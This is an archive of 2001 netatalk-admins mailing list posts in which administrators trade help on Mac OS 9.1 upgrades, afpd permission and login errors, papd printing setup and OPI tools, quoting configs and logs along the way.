	for <netatalk-admins@umich.edu>; Thu, 2 Aug 2001 07:38:40 -0400 (EDT)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
In-Reply-To: <NDBBLIPGCLLELIOOICKOEEPGDPAA.heath@davesworld.net>
Subject: Re: OS 9.1 update ?
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Thu, 2 Aug 2001 07:09:31 -0400
Message-ID: <1exi3u7.1l4n6mg1t0ugo4M@cx448422-b.wwck1.ri.home.com>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 191 days)

> Sorry for the previous post.  Subject was wrong.
> 
> Here it is again?
> 
> Has anyone seen big or even slight problems with system 9.1 and the
> following.
> We are looking to update from 8.6 and I am ready to go to system 9.0.4, but
> some say we should be ok going to 9.1.  Please let me know what is going on
> in Mac Land!
> 
snip

My shop does not run 9.1 on anything. We see no improvement over 9.0.4
and a host of bugs and problems.

From netatalk.administrators-errors@umich.edu  Thu Aug  2 08:09:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA07920
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 2 Aug 2001 08:09:38 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA16270
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 2 Aug 2001 08:09:38 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA16254
	for netatalk.administrators-members@umich.edu; Thu, 2 Aug 2001 08:09:37 -0400 (EDT)
Received: from mail.lateral.net ([195.224.94.178])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA16196
	for <netatalk-admins@umich.edu>; Thu, 2 Aug 2001 08:09:35 -0400 (EDT)
Received: from lat-132.lateral.net ([195.224.188.132] helo=localhost)
	by mail.lateral.net with esmtp (Exim 2.02 #1)
	id 15SHGy-0000VU-00; Thu, 2 Aug 2001 13:08:16 +0100
Date: Thu, 2 Aug 2001 12:08:36 +0000
From: Jim Bailey <jim@lateral.net>
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Subject: Re: OS 9.1 update ?
Cc: "Mac Supporters" <MAC-SUPPORTERS@JISCMAIL.AC.UK>,
        "Appletalk on Linux" <LINUX-ATALK@LISTS.NETSPACE.ORG>,
        "Netatalk Admins" <netatalk-admins@umich.edu>
To: <heath@davesworld.net>
X-Mailer: Apple Mail (2.388)
In-Reply-To: <NDBBLIPGCLLELIOOICKOEEPGDPAA.heath@davesworld.net>
Mime-Version: 1.0 (Apple Message framework v388)
Content-Transfer-Encoding: 7bit
Message-Id: <E15SHGy-0000VU-00@mail.lateral.net>

Hi,

we run a mix of OS 9.1 for our designers, OS X for those who like to 
live danerously, windows 2000, windows 98 for some of our project 
managers and Linux and BSD clients for our coders as well as CVS for our 
development work.  we have most of the applications you list and then 
some but our backend is made up of FreeBSD, OpenBSD and Red Hat 6.2 soon 
to be replaced by Debian, cuz  I like it and I can. ;-)

Our Mac user seem very happy with what they use and don't bother me much 
with buggy stuff our file and print services are a bit fscked but then 
in my brief period sys admining Macs I have rapidly learnt that Netatalk 
sucks and until recently so did our physical network, however recent LAN 
upgrades have helped and we hope that changing to Debian will help.

If you give us more specifics about your problems we may be able to help 
further.

Cheers Jim

Netscape is no stranger to bugs, the way Jeffery Archer is no stranger 
to lies.

--Bruce Richardson

On Wednesday, August 1, 2001, at 11:13 PM, Heath Henderson wrote:

> Sorry for the previous post.  Subject was wrong.
>
> Here it is again?
>
> Has anyone seen big or even slight problems with system 9.1 and the
> following.
> We are looking to update from 8.6 and I am ready to go to system 9.0.4, 
> but
> some say we should be ok going to 9.1.  Please let me know what is 
> going on
> in Mac Land!
>
> Currently
> Mac OS X Server 1.0.2
> Macintosh Manager 1.4.1
> System 8.6 on all works fine.
> with
>
> Quark 4.1 Express and Passport
> Photoshop 5.5
> Pagemaker 6.5.2
> Illustrator 8.0.2
> ATM Deluxe
> Appleworks 5.0.4
> and Agfa Snap Scan (version 3.x something I think)
> Office 2001 Word, Excel, and Powerpoint
>
> I think this is it.  We also use mounted volumes from Macintosh Manager
> (Shared Folders/Drives) to a Netatalk server (asun 2.1.4-7 I think.)
>
> If there are any problems that people have had directly related to 9.1 
> or
> 9.0.4 please let me know as I want to get this moving!!
>
> Thanks
>
> Heath Henderson
>
>
>
>
>
>
> -----Original Message-----
> From: Appletalk on Linux [mailto:LINUX-ATALK@LISTS.NETSPACE.ORG]On
> Behalf Of Alessandra La Spina
> Sent: Wednesday, August 01, 2001 9:25 AM
> To: LINUX-ATALK@LISTS.NETSPACE.ORG
> Subject: atalklogger
>
>
> Hello,
>
> I'm looking for a atalkd logger . Searching in the LINUX-ATALK archive I
> discovered that someone (Benjamin Gilbert ) has already written such a
> script. But the server prism.simplenet.com (the url from where you could
> download the file was http://prism.simplenet.com/atalklogger.tcl.gz) 
> does
> not exist anymore. Can anyone help me to retrieve the file o suggest me
> something similar?
> Thanks.
>
>
>
>
>
>
> Alessandra La Spina
> __________________________
> Dipartimento di Matematica
> Universita' di Pisa
>
>
>

From netatalk.administrators-errors@umich.edu  Thu Aug  2 14:20:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA22768
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 2 Aug 2001 14:20:50 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id OAA16976
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 2 Aug 2001 14:20:36 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA16939
	for netatalk.administrators-members@umich.edu; Thu, 2 Aug 2001 14:20:35 -0400 (EDT)
Received: from mail.inside.bmk.hu (mail.bmk.hu [193.225.160.6])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA16894
	for <netatalk-admins@umich.edu>; Thu, 2 Aug 2001 14:20:33 -0400 (EDT)
Received: by mail.inside.bmk.hu (Postfix, from userid 1035)
	id 41D61A3029; Thu,  2 Aug 2001 20:20:45 +0200 (CEST)
Received: from localhost (localhost [127.0.0.1])
	by mail.inside.bmk.hu (Postfix) with ESMTP id 2874CB2028
	for <netatalk-admins@umich.edu>; Thu,  2 Aug 2001 20:20:45 +0200 (CEST)
Date: Thu, 2 Aug 2001 20:20:44 +0200 (CEST)
From: Janovszki Levente <levi@bmk.hu>
To: netatalk-admins@umich.edu
Subject: strange thing
In-Reply-To: <200108021800.OAA21937@terminator.rsug.itd.umich.edu>
Message-ID: <Pine.LNX.4.21.0108022002500.19173-100000@mail.bmk.hu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi,

We use Linux  & netatalk for file services and have 'little' problems.

1. problem:

When the user make a dir and than put a file in it and later try to
overwrite or delete the file than the Mac give back a -1072 error code
after a delay, the server TCP connection close.

In syslog I see:

Aug  5 19:05:01 linuxszerver afpd[22822]: ASIP session:548(1) from
192.168.108.18:49153(2)
Aug  5 19:08:32 linuxszerver afpd[22787]: server_child[1] 22822 exited 1
Aug  5 19:12:20 linuxszerver afpd[22830]: ASIP session:548(1) from
192.168.108.10:49227(2)
Aug  5 19:12:20 linuxszerver afpd[22787]: server_child[1] 22830 done
Aug  5 19:12:22 linuxszerver afpd[22831]: ASIP session:548(1) from
192.168.108.10:49228(2)
Aug  5 19:12:29 linuxszerver afpd[22834]: ASIP session:548(1) from
192.168.108.18:49154(2)
Aug  5 19:12:29 linuxszerver afpd[22787]: server_child[1] 22834 done
Aug  5 19:12:33 linuxszerver afpd[22835]: ASIP session:548(1) from
192.168.108.18:49155(2)
Aug  5 19:20:25 linuxszerver afpd[22787]: server_child[1] 22835 exited 1
Aug  5 19:22:17 linuxszerver afpd[22858]: ASIP session:548(1) from
192.168.108.18:49156(2)
Aug  5 19:22:17 linuxszerver afpd[22787]: server_child[1] 22858 done

the permissions 775 for dirs, and 774 for files at the Volumes.

2. problem:

Sometimes we have to reboot the Macs and log in again to see the files on
the (Linux) volumes,why??? 

Netatalk version: 1.4b2+asun2.1.3-6


Please help !
 
Regards,
Levente
 | Levente Janovszki  | Bekes County Library          JUST 4 lines 4 U |
 | e-mail:levi@bmk.hu | Bekescsaba, Derkovits sor 1. HUNGARY Zip: 5600 |
 | Linux. Just use it |     *    The operating system collapsed    *   |
 | w/o fear of panic: |     *            OK    Cancel              *   |



From netatalk.administrators-errors@umich.edu  Thu Aug  2 17:16:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA02779
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 2 Aug 2001 17:16:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA20466
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 2 Aug 2001 17:16:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA20451
	for netatalk.administrators-members@umich.edu; Thu, 2 Aug 2001 17:16:57 -0400 (EDT)
Received: from Bayou.UH.EDU (Bayou.UH.EDU [129.7.1.7])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA20386
	for <netatalk-admins@umich.edu>; Thu, 2 Aug 2001 17:16:56 -0400 (EDT)
Received: from localhost (jzhao2@localhost)
	by Bayou.UH.EDU (8.8.8/8.8.8) with ESMTP id QAA16464
	for <netatalk-admins@umich.edu>; Thu, 2 Aug 2001 16:16:54 -0500 (CDT)
Date: Thu, 2 Aug 2001 16:16:54 -0500 (CDT)
From: Jin Zhao <jzhao2@Bayou.UH.EDU>
To: netatalk-admins@umich.edu
Subject: problem of printing with papd on RH7.1 (fwd)
Message-ID: <Pine.OSF.4.21.0108021616400.15647-100000@Bayou.UH.EDU>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi,

I get into a prinnting problem which I can't figure out. 

We have a RH7.1 box with netatalk-1.5pre6 setup. The printer is a
HP-LaserJet1200 connected to the LAN. A Mac OS 8.6 client can see this
priner named by papd, and set up the printer as "generic". When print from
this client, nothing come out of the printer and no error message appear
on both Mac client and RH7.1 system log. 

Any local print job on the RH7.1 box works fine.

Can anybody give some lights on this ?

The following is the contents of related files

papd.conf
----------------------------------------------------------------------------
hplj1200:\
                  :pr=|/usr/bin/lpr -Phplj1200:\
                  :sp:\
                  :ca:\
                  :am=uams_guest.so,uams_pam.so:\
                  :pd=/usr/share/postscript/ppd/HP_LaserJet_1200.PPD:
----------------------------------------------------------------------------

/etc/printcap
----------------------------------------------------------------------------
hplj1200:\
        :sh:\
        :ml=0:\
        :mx=0:\
        :sd=/var/spool/lpd/hplj1200:\
        :rm=192.168.0.26:\
        :lpd_bounce=true:\
        :if=/usr/share/printconf/mf_wrapper:
----------------------------------------------------------------------------

/var/log/message
----------------------------------------------------------------------------
Aug 2 16:09:15 gege papd[7495]: child 7583 for "hplj1200" from 41201.138
Aug 2 16:09:15 gege papd[7583]: Login NoAuthUAM: zhaojin 
Aug 2 16:09:15 gege papd[7495]: child 7583 done 
Aug 2 16:09:20 gege papd[7495]: child 7584 for "hplj1200" from 41201.138
Aug 2 16:09:20 gege papd[7584]: Login NoAuthUAM: zhaojin 
Aug 2 16:09:21 gege papd[7495]: child 7584 done
----------------------------------------------------------------------------

Thanks,

Jin



From netatalk.administrators-errors@umich.edu  Thu Aug  2 18:31:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA05336
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 2 Aug 2001 18:31:35 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA14380
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 2 Aug 2001 18:31:35 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA14368
	for netatalk.administrators-members@umich.edu; Thu, 2 Aug 2001 18:31:34 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.88])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA14343
	for <netatalk-admins@umich.edu>; Thu, 2 Aug 2001 18:31:33 -0400 (EDT)
Received: by smtpout.mac.com; Thu, 2 Aug 2001 15:29:34 -0700 (PDT)
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay02.mac.com (Netscape Messaging Server 4.15 relay02 Jun
          21 2001 23:53:48) with ESMTP id GHGP5A00.NK3 for
          <netatalk-admins@umich.edu>; Thu, 2 Aug 2001 15:29:34 -0700 
Received: from [192.168.1.1] ([24.216.136.131]) by
          asmtp01.mac.com (Netscape Messaging Server 4.15 asmtp01 Jun  6
          2001 13:16:42) with ESMTP id GHGP5900.QNS for
          <netatalk-admins@umich.edu>; Thu, 2 Aug 2001 15:29:33 -0700 
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 02 Aug 2001 17:29:32 -0500
Subject: Re: No file permissions on new .AppleDouble files
From: Zachary Kotlarek <profplump@mac.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B78F3E7B.6370%profplump@mac.com>
In-Reply-To: <B78E11D3.6313%profplump@engineer.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I found this in my messages log:

afpd[3352]: setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not
permitted

Which would appear to be related, but since I don't know what it means I
couldn't say for sure.

Again, any help would be greatly appreciated.

    Zach

on 8/1/01 8:06 PM, Zachary Kotlarek at profplump@engineer.com wrote:

> 'Ello,
>   I'm writing in regard to a problem I've had recently with afpd in
> 1.5pre6 on Linux 2.4.6 (final).
> 
>   It serves fine, I can duplicate, delete, and manipulate files on shared
> volumes. I can create new folders. However, when I make new files (from an
> application or copying to the disk from the Finder) I get various
> permissions related errors.
> 
> For example, when copying in the Finder:
> "The file xxx cannot be copied because it is locked. Stop|Continue"
> The file is created on the server, but is empty. The complimentary file is
> created in .AppleDouble.
> I can manipulate this empty file after it is created however, a permissions
> error is returned each time I do. After I dismiss the error the file does
> move.
> 
> After looking into this for a while, it seems that the file in .AppleDouble
> is created with the permissions 000. ls just returns a bunch of dashes for
> permissions information. The main file seems to have the proper permissions.
> If I chmod the .AppleDouble file to match the main file I can
> manipulate/delete it without error.
> 
> So my question is: why are the .AppleDouble files being created with no/bad
> permissions? How can I fix it? Any help would be greatly appreciated.
> 
>   Zach
> 

-- 

The Empire's Website:
http://TheEmpire.mine.nu/

=================================================
The box said "Requires Windows 2000 or better"...
so I bought a Macintosh.
=================================================



From netatalk.administrators-errors@umich.edu  Thu Aug  2 19:29:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA08912
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 2 Aug 2001 19:29:54 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA12999
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 2 Aug 2001 19:29:54 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA12984
	for netatalk.administrators-members@umich.edu; Thu, 2 Aug 2001 19:29:53 -0400 (EDT)
Received: from sam.on-net.net (sam.on-net.net [204.117.190.8])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA12918
	for <netatalk-admins@umich.edu>; Thu, 2 Aug 2001 19:29:51 -0400 (EDT)
Received: from edison (edison.base2inc.com [206.229.85.132])
	by sam.on-net.net (8.11.3/8.11.3) with SMTP id f72NRlH12550;
	Thu, 2 Aug 2001 18:27:48 -0500 (EST)
Message-ID: <008e01c11bab$24a47600$8455e5ce@edison>
From: "Frank Morton" <fmorton@base2inc.com>
To: "Netatalk List" <netatalk-admins@umich.edu>,
        "Lee Blevins" <leeb@digitalgraphics.net>
References: <1exdbt2.16ryumw2zovpwM@cx448422-b.wwck1.ri.home.com>
Subject: Re: OPI
Date: Thu, 2 Aug 2001 18:30:39 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Do you know about these already existing tools? Anyone
else on the list using this OPI?

http://opi3.ebios.de/

Frank Morton
fmorton@base2inc.com


> I'm ready to pitch in my remedial c programing talents to start the ball
> rolling on OPI.
> 
> I suggest the following to make this easy:
> 
> 1. Standalone code that is not incorporated into Netatalk yet. 
>    We just get the basics of scanning a postscript file for OPI 
>    comments and blending the image into a final postscript file.
> 
> 2. Limted file format support at first.
>    I'm suggesting EPS, TIFF and Scitex CT as the only files 
>    supported at first. File format support should be modular in the 
>    code so others can be added later without completely rewriting.
> 
> 3. Composite support only.
>    To simplify this project I suggest it be limited to composite
>    postscrip only at first. Making separations is complex and most rips
>    these days are headed towards inrip seps. 
> 
> I must stress that my c is a bit rusty and remedial might be stretching
> the truth ever so slightly. 
> 
> Anybody interested?
> 


From netatalk.administrators-errors@umich.edu  Fri Aug  3 00:30:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA21068
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 3 Aug 2001 00:30:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id AAA08824
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 3 Aug 2001 00:30:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA08808
	for netatalk.administrators-members@umich.edu; Fri, 3 Aug 2001 00:30:51 -0400 (EDT)
Received: from cae.wisc.edu (galaga.cae.wisc.edu [144.92.240.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA08777
	for <netatalk-admins@umich.edu>; Fri, 3 Aug 2001 00:30:50 -0400 (EDT)
Received: from [128.104.177.81] (rmm005.che.wisc.edu [128.104.177.81])
	by cae.wisc.edu (8.9.1/8.9.0) with ESMTP id XAA06525
	for <netatalk-admins@umich.edu>; Thu, 2 Aug 2001 23:30:50 -0500 (CDT)
Message-Id: <v03007801b78fd1bf5f51@[128.104.177.81]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 2 Aug 2001 23:31:25 -0500
To: netatalk-admins@umich.edu
From: David Haas <haasd@cae.wisc.edu>
Subject: "password incorrect" w/ shadow pass enabled

Hi.  I've blown the entire day trying to get netatalk running on my linux
box, and I'm sooooooo  close, but I can't quite get it to work.  Hopefully
someone can help.  Whenever I try to log on from a Mac OS 8.1 box 
to my netatalk server, I get a  "Sorry, your password is incorrect" when it 
definately is not.  I'm 99.9% convinced the problem is that netatalk isn't 
reading the shadow passwords - but my pam & dhx modules always fail to load
with mod_symbol errors.  I've looked through the archives, and most people
with this problem seem to get it fixed by compiling --with-pam or --with-shadow:
which didn't work for me.   If anyone could help, I'd really appreciate it.  
Tons of configuration info is listed below (sorry for filling up your in-boxes):

*********************

Machine:  Pmac 6500, originally linuxppc 2000 Q4 install with . . . 
                kernel 2.2.19 (from source)
                pam 0-72.32.2, pam-devel-0.72.32.2 (from RPM)
                openssl-0.9.6-1, openssl-devel-0.9.6-1 (from RPM)

Netatalk: 1.5pre6, compiled from source.

I set the configure directory to be /etc/atalk, with uams in /etc/atalk/uams.  Other
./configure options:   --with-pam --with-shadow --with-ssl --with-tcp-wrappers 
                                --disable-shell-check 

(I've also tried it without the --with-pam but keeping the --with-shadow, and have
gotten the same results).

Here's a transcript of /var/log/messages.  Note the mod_symbol errors for most of my modules.

afpd[14666]: ASIP started on (snip)(2) (1.5pre6)
afpd[14666]: uam_load(uams_dhx_passwd.so): mod_symbol error for symbol uams_dhx_passwd
afpd[14666]: uam: uams_dhx_passwd.so load failure
Aafpd[14666]: uam: uams_randnum.so loaded
afpd[14666]: uam_load(uams_pam.so): mod_symbol error for symbol uams_pam
afpd[14666]: uam: uams_pam.so load failure
afpd[14666]: uam_load(uams_dhx_pam.so): mod_symbol error for symbol uams_dhx_pam
afpd[14666]: uam: uams_dhx_pam.so load failure
afpd[14666]: uam: "2-Way Randnum exchange" available
afpd[14666]: uam: "Randnum exchange" available

And here's the section when I try to login. Notice there aren't any errors.

afpd[14670]: randnum/rand2num login: Fun
afpd[14670]: 0.07KB read, 0.07KB written
afpd[14666]: server_child[1] 14670 done

There is a .passwd file in the share directory, which is owned by the user (Fun)
who has rw priviledges on it.  

Here's the contents of my setup files:
atalkd.conf: eth0 -zone "Eng"

afpd.conf: - -transall -randnum -rand2num -uampath  /etc/atalk/uams -uamlist uams_dhx_passw
d.so,uams_randnum.so,uams_pam.so,uams_dhx_pam.so -defaultvol  /etc/atalk/AppleVolumes.default  -systemvol  /etc/atalk/AppleVolumes.system -nlspath  /etc/atalk/nls  -icon

(I've tried afpd.conf without the -randnum and -rand2num, and had the same behavior)

netatalk.conf: 
AFPD_MAX_CLIENTS=50
ATALK_ZONE=@Eng
ATALK_NAME=Fun
AFPD_UAMLIST="-U uams_dhx_passwd.so,uams_randnum.so,uams_pam.so,uams_dhx_pam.so"
AFPD_GUEST=nobody
ATALKD_RUN=yes
PAPD_RUN=no
AFPD_RUN=yes
TIMELORD_RUN=no
ATALK_BGROUND=no      

AppleVolumes.default: /home/share "Disk of Fun" allow:Fun,@Fun limitsize options:noadouble 

AppleVolumes.system: whatever came with the source code.


****************************
The foot, the lies, the yellow-haired lady: Komo the Komodo tells all!



From netatalk.administrators-errors@umich.edu  Fri Aug  3 02:43:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA28147
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 3 Aug 2001 02:43:30 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id CAA06875
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 3 Aug 2001 02:43:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA06859
	for netatalk.administrators-members@umich.edu; Fri, 3 Aug 2001 02:43:29 -0400 (EDT)
Received: from sss.pgh.pa.us ([192.204.191.242])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA06837
	for <netatalk-admins@umich.edu>; Fri, 3 Aug 2001 02:43:27 -0400 (EDT)
Received: from sss2.sss.pgh.pa.us (tgl@localhost [127.0.0.1])
	by sss.pgh.pa.us (8.11.4/8.11.4) with ESMTP id f736glC19373;
	Fri, 3 Aug 2001 02:42:47 -0400 (EDT)
To: heath@davesworld.net
cc: "Mac Supporters" <MAC-SUPPORTERS@JISCMAIL.AC.UK>,
        "Appletalk on Linux" <LINUX-ATALK@LISTS.NETSPACE.ORG>,
        "Netatalk Admins" <netatalk-admins@umich.edu>
Subject: Re: atalklogger 
In-reply-to: <NDBBLIPGCLLELIOOICKOCEPFDPAA.heath@davesworld.net> 
References: <NDBBLIPGCLLELIOOICKOCEPFDPAA.heath@davesworld.net>
Comments: In-reply-to "Heath Henderson" <heath@davesworld.net>
	message dated "Wed, 01 Aug 2001 17:17:10 -0500"
Date: Fri, 03 Aug 2001 02:42:46 -0400
Message-ID: <19370.996820966@sss.pgh.pa.us>
From: Tom Lane <tgl@sss.pgh.pa.us>

"Heath Henderson" <heath@davesworld.net> writes:
> Has anyone seen big or even slight problems with system 9.1 and the
> following.

FWIW, my wife's seen a lot of instability with PageMaker 6.5.2 on a
just-purchased Cube with 9.1.  (Not that it had no bugs under her
ancient 8100/8.1 setup, but she'd learned to deal with those.  On 9.1
the same app is dangling on the edge of unusable.)  Not a netatalk
issue, since she's never used netatalk on either configuration.

We're hoping that the new PM 7.0 release works better ...

			regards, tom lane

From netatalk.administrators-errors@umich.edu  Fri Aug  3 06:00:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA02752
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 3 Aug 2001 06:00:49 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id GAA13909
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 3 Aug 2001 06:00:49 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA13894
	for netatalk.administrators-members@umich.edu; Fri, 3 Aug 2001 06:00:49 -0400 (EDT)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA13863
	for <netatalk-admins@umich.edu>; Fri, 3 Aug 2001 06:00:48 -0400 (EDT)
Received: from cx448422-b.wwck1.ri.home.com (cx448422-b.wwck1.ri.home.com [24.18.198.105])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id GAA32377
	for <netatalk-admins@umich.edu>; Fri, 3 Aug 2001 06:29:52 -0400 (EDT)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
In-Reply-To: <008e01c11bab$24a47600$8455e5ce@edison>
Subject: Re: OPI
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Fri, 3 Aug 2001 06:00:45 -0400
Message-ID: <1exjvbw.mpuqh7e29rzpM@cx448422-b.wwck1.ri.home.com>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 192 days)

> Do you know about these already existing tools? Anyone
> else on the list using this OPI?

Thanks, I didn't know about that.

I dl'd the source and will check it out.

From netatalk.administrators-errors@umich.edu  Fri Aug  3 07:10:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA04517
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 3 Aug 2001 07:10:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id HAA19398
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 3 Aug 2001 07:09:52 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA19366
	for netatalk.administrators-members@umich.edu; Fri, 3 Aug 2001 07:09:51 -0400 (EDT)
Received: from dave-world.net (mail.dave-world.net [204.189.73.1])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA19328
	for <netatalk-admins@umich.edu>; Fri, 3 Aug 2001 07:09:50 -0400 (EDT)
Received: from heath [205.139.250.148] by dave-world.net
  (SMTPD32-6.05) id A7E2D6D9003A; Fri, 03 Aug 2001 06:15:46 -0500
Reply-To: <heath@dave-world.net>
From: "Heath Henderson" <heath@dave-world.net>
To: <MAC-SUPPORTERS@JISCMAIL.AC.UK>,
        "Netatalk List" <netatalk-admins@umich.edu>,
        "Appletalk on Linux" <LINUX-ATALK@LISTS.NETSPACE.ORG>
Subject: Quark Passport 4.1
Date: Fri, 3 Aug 2001 06:17:04 -0500
Message-ID: <NDBBLIPGCLLELIOOICKOIEAHEAAA.heath@dave-world.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To:  <14337111.996839009@axolotl.csi.cam.ac.uk>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal

